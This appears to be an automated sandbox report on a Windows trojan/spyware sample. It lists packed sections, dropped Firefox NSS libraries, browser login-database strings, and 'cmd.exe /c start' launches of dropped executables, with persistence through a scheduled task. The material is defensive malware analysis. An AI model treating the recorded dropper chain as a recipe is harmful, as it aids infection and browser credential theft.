Source: file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000002.1433619231.00000000009C6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: file.exe, 00000000.00000003.1380772328.000000002F740000.00000004.00000020.00020000.00000000.sdmp, JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1433619231.0000000000A6A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1380772328.000000002F740000.00000004.00000020.00020000.00000000.sdmp, JEHDHIEGIIIDHIDHDHJJKJKJJD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1433619231.0000000000A6A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

PE file contains section with special chars

Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name:
Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name: .idata
Source: JDGCFBAFBF.exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: explorti.exe.17.dr	Static PE information: section name:
Source: explorti.exe.17.dr	Static PE information: section name: .idata
Source: explorti.exe.17.dr	Static PE information: section name:

PE file has nameless sections

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CE0B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CE0B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CE0B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CDAF280

Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA35A0	0_2_6CDA35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCD4D0	0_2_6CDCD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB64C0	0_2_6CDB64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE6CF0	0_2_6CDE6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAD4E0	0_2_6CDAD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE034A0	0_2_6CE034A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0C4A0	0_2_6CE0C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB6C80	0_2_6CDB6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB5440	0_2_6CDB5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1545C	0_2_6CE1545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1542B	0_2_6CE1542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE5C10	0_2_6CDE5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF2C10	0_2_6CDF2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1AC00	0_2_6CE1AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE0DD0	0_2_6CDE0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE085F0	0_2_6CE085F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCED10	0_2_6CDCED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD0512	0_2_6CDD0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBFD00	0_2_6CDBFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE176E3	0_2_6CE176E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDABEF0	0_2_6CDABEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBFEF0	0_2_6CDBFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE04EA0	0_2_6CE04EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC5E90	0_2_6CDC5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0E680	0_2_6CE0E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE16E63	0_2_6CE16E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC9E50	0_2_6CDC9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE3E50	0_2_6CDE3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF2E4E	0_2_6CDF2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC4640	0_2_6CDC4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAC670	0_2_6CDAC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE7E10	0_2_6CDE7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE09E30	0_2_6CE09E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF5600	0_2_6CDF5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD6FF0	0_2_6CDD6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDADFE0	0_2_6CDADFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF77A0	0_2_6CDF77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE7710	0_2_6CDE7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB9F00	0_2_6CDB9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE150C7	0_2_6CE150C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCC0E0	0_2_6CDCC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE58E0	0_2_6CDE58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD60A0	0_2_6CDD60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC8850	0_2_6CDC8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCD850	0_2_6CDCD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEF070	0_2_6CDEF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB7810	0_2_6CDB7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEB820	0_2_6CDEB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF4820	0_2_6CDF4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE5190	0_2_6CDE5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDD9B0	0_2_6CDDD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE02990	0_2_6CE02990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAC9A0	0_2_6CDAC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1B170	0_2_6CE1B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCA940	0_2_6CDCA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDFB970	0_2_6CDFB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBD960	0_2_6CDBD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE8AC0	0_2_6CDE8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC1AF0	0_2_6CDC1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEE2F0	0_2_6CDEE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE12AB0	0_2_6CE12AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBCAB0	0_2_6CDBCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1BA90	0_2_6CE1BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA22A0	0_2_6CDA22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD4AA0	0_2_6CDD4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE9A60	0_2_6CDE9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE153C8	0_2_6CE153C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAF380	0_2_6CDAF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA5340	0_2_6CDA5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBC370	0_2_6CDBC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDED320	0_2_6CDED320
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_009E4CD0	19_2_009E4CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_00A23048	19_2_00A23048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_00A17D63	19_2_00A17D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_00A26EE9	19_2_00A26EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_009E4AD0	19_2_009E4AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_00A2763B	19_2_00A2763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_00A22BB0	19_2_00A22BB0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_00A28700	19_2_00A28700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 19_2_00A2775B	19_2_00A2775B

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDDCBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDE94D0 appears 90 times

Source: file.exe, 00000000.00000002.1478037266.000000006D025000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1436568097.0000000001C9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9996903582317073
Source: file.exe	Static PE information: Section: ZLIB complexity 0.991943359375
Source: file.exe	Static PE information: Section: ZLIB complexity 0.989990234375
Source: JDGCFBAFBF.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982656676912568
Source: JDGCFBAFBF.exe.0.dr	Static PE information: Section: rxceoony ZLIB complexity 0.9944744874886946
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982656676912568
Source: amadka[1].exe.0.dr	Static PE information: Section: rxceoony ZLIB complexity 0.9944744874886946
Source: explorti.exe.17.dr	Static PE information: Section: ZLIB complexity 0.9982656676912568
Source: explorti.exe.17.dr	Static PE information: Section: rxceoony ZLIB complexity 0.9944744874886946

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@16/28@0/3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE07030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CE07030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7684:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7728:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1470896959.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1477690456.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1470896959.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1477690456.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1470896959.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1477690456.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1470896959.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1477690456.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1470896959.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1477690456.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1470896959.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1470896959.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1477690456.000000006CFDF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1318243031.0000000023466000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1299446550.0000000023474000.00000004.00000020.00020000.00000000.sdmp, CAFHIJDHDGDBFHIEHDGI.0.dr, JEHDHIEGIIIDHIDHDHJJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1470896959.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1470896959.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1456687731.000000001D4FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 45%

Source: JDGCFBAFBF.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HIJJDGDHDG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe "C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe"
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\HIJJDGDHDG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe "C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JDGCFBAFBF.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user~1\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
